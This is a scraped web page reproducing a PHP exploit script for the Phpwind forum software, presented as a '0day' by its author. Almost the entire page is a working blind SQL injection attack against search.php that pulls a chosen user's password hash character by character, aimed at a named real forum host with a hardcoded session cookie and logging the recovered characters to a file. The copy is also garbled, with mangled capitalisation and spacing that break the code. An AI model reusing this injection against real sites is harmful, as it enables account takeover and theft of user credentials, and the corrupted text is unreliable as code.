Phpwind 0day Code _php tutorial from online Search

<title>Codz by Sword Heart</title>

The exploiet of the all Phpwind Version
By Sword Heart

Ini_set ("Max_execution_time", 0);
Error_reporting (7);

$path = "/search.php";
$server = ' bbs.ccidnet.com ';
$cookie = ' lastfid=0; ol_offset=27160; ipstate=1160671066; ipfrom=7641b3edc60a722a72f5a76e55ce6e97%09%b1%b1%be%a9%ca%d0%b7%bd%d5%fd%bf%ed%b4%f8%0d; lastvisit=0%091161077981%09%2fsearch.php%3f; auth=3435393735327c313136313037363538383230367c327c6261646567677c31303030303030303030303030303030; Phpsessid=3b11a9ca33071f0b06c9aab0995918a7; Cknum=bljquwzsvgtxaz9sbfeawgtdu1nxuanswaefdfnqvvydua1qb1ttuqahvae%3d ';

$useragent = "mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;. NET CLR 2.0.50727;. NET CLR 1.1.4322) ";

$uid = 2;
$_get[' uid ']&& $uid =$_get[' uid '];
$tid = 539264;

$mask = ' No matching content found ';
$count = 0;

$testing = 1;
$testing =$_get[' test '];
if ($testing) {Preg_match ('/x-powered-by:php\/(. +) \r\n/ie ', Send (""), $php); echo$php[1];d ie ();}

$debug = 1;

$temp =md5 (rand (1,100) +microtime ());
$cmd = "step=3&pwuser=". $temp. " Loveshell "." &uids=-1 ". $sql." /*J&184288238=KKKK&276791066=JJJJJJ ";
$response =send ($cmd);

Preg_match ('/from (. +) threads/ie ', $response, $match);

$pre = $match [1];
if ($match [1]) echo ' Good job! Wo Got the pre: '. $match [1]. "
";
else if (Strpos ($response, ' value= "Login" ')) Die ("Your is not login! Try to get Anthor Cookie and Useragen value!
");
else {echo "Maybe It is not vul!
";d ie ();}

echo "Try to Get the uid= $uid ' s Password:";
$log =fopen (' Log.txt ', ' A + ');

for ($i =0; $i <16; $i + +)
{

$type = 0;
$sub = $i +9;
$temp =md5 (rand (1,100) +microtime ());
$sql = "Union select $tid from". $pre. " Members where uid= $uid and Ord (Mid (password, $sub, 1)) >47 and Ord (Mid (password, $sub, 1)) <58 ";
$sql =urlencode ($sql);
$temp =md5 (rand (1,100) +microtime ());
$cmd = "step=3&pwuser=". $temp. " Loveshell "." &uids=-1) ". $sql." /*.&184288238=KKKK&276791066=JJJJJJ ";
if (!strpos (Send ($cmd), $mask)) {

$type = 0;
for ($m =48; $m <=57; $m + +) {
$temp =md5 (rand (1,100) +microtime ());
$sql = "Union select $tid from". $pre. " Members where uid= $uid and Ord (Mid (password, $sub, 1)) = $m ";
$sql =urlencode ($sql);
$temp =md5 (rand (1,100) +microtime ());
$cmd = "step=3&pwuser=". $temp. " Loveshell "." &uids=-1) ". $sql." /*.&184288238=KKKK&276791066=JJJJJJ ";
if (!strpos (Send ($cmd), $mask)) {

echo Chr ($m);
Fputs ($log, Chr ($m));
Break
}
Continue
}
Continue
}

$sql = "Union select $tid from". $pre. " Members where uid= $uid and Ord (Mid (password, $sub, 1)) >96 and Ord (Mid (password, $sub, 1)) <123 ";
$sql =urlencode ($sql);
$temp =md5 (rand (1,10000) +microtime ());
$cmd = "step=3&pwuser=". $temp. " Loveshell "." &uids=-1) ". $sql." /*.&184288238=KKKK&276791066=JJJJJJ ";
if (!strpos (Send ($cmd), $mask)) {

$type = 1;
for ($m =97; $m <=122; $m + +) {
$temp =md5 (rand (1,100) +microtime ());
$sql = "Union select $tid from". $pre. " Members where uid= $uid and Ord (Mid (password, $sub, 1)) = $m ";
$sql =urlencode ($sql);
$temp =md5 (rand (1,100) +microtime ());
$cmd = "step=3&pwuser=". $temp. " Loveshell "." &uids=-1) ". $sql." /*.&184288238=KKKK&276791066=JJJJJJ ";
if (!strpos (Send ($cmd), $mask)) {
echo Chr ($m);
Fputs ($log, Chr ($m));
Break
}
Continue
}
Continue
}

echo "error!
";
Die ("shit! May are the data you post are not valid! Try anthor uid\r\n ");

}
Fclose ($log);
echo "
done! We Post $count times!
";

function Send ($cmd)
{
Global $path, $server, $cookie, $count, $useragent, $debug;

$count = $count +1;
$message = "POST". $path. "? Http/1.1\r\n ";
$message. = "Accept: */*\r\n";
$message. = "accept-language:zh-cn\r\n";
$message. = "referer:http://". $server. $path. " \ r \ n ";
$message. = "content-type:application/x-www-form-urlencoded\r\n";
$message. = "User-agent:". $useragent. " \ r \ n ";
$message. = "Host:". $server. " \ r \ n ";
$message. = "Content-length:". strlen ($cmd). " \ r \ n ";
$message. = "connection:keep-alive\r\n";
$message. = "Cookie:". $cookie. " \ r \ n ";
$message. = "\ r \ n";
$message. = $cmd. " \ r \ n ";

$FD = Fsockopen ($server, 80);
Fputs ($FD, $message);
$RESP = "

";
while ($FD &&!feof ($FD)) {
$resp. = Fread ($FD, 1024);
}
Fclose ($FD);
$resp. = "

";
if ($debug) {echo $cmd; echo $resp;}
return $RESP;
}
?>

http://www.bkjia.com/PHPjc/317478.html www.bkjia.com true http://www.bkjia.com/PHPjc/317478.html techarticle HTML head meta http-equiv= "Content-type" content= "text/html; charset=gb2312" Titlecodz by Sword heart/title style type= "text/ CSS "BODY,TD {font-family:" Tahoma "; font-size:" 12px "; Lin ...

